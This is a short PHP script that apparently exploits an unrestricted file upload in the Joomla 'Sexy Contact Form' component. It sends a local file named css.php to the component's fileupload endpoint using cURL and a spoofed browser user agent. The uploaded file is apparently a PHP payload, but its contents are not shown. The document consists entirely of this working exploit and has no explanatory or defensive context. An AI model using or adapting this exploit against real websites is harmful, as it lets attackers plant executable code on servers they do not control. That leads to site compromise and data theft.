$url="http://localhost";
$file="Z:\\home\\test\\www\\exp\\css.php";
  if( $curl = curl_init() ) {
    curl_setopt($curl, CURLOPT_URL, "$url/components/com_sexycontactform/fileupload/index.php");
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
    curl_setopt($curl, CURLOPT_POST, 1);
    @curl_setopt($curl, CURLOPT_POSTFIELDS, array("files"=>"@".$file));
    curl_setopt($curl, CURLOPT_USERAGENT, 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10');
    $in = curl_exec($curl);
    curl_close($curl);
    //var_dump($in);
  }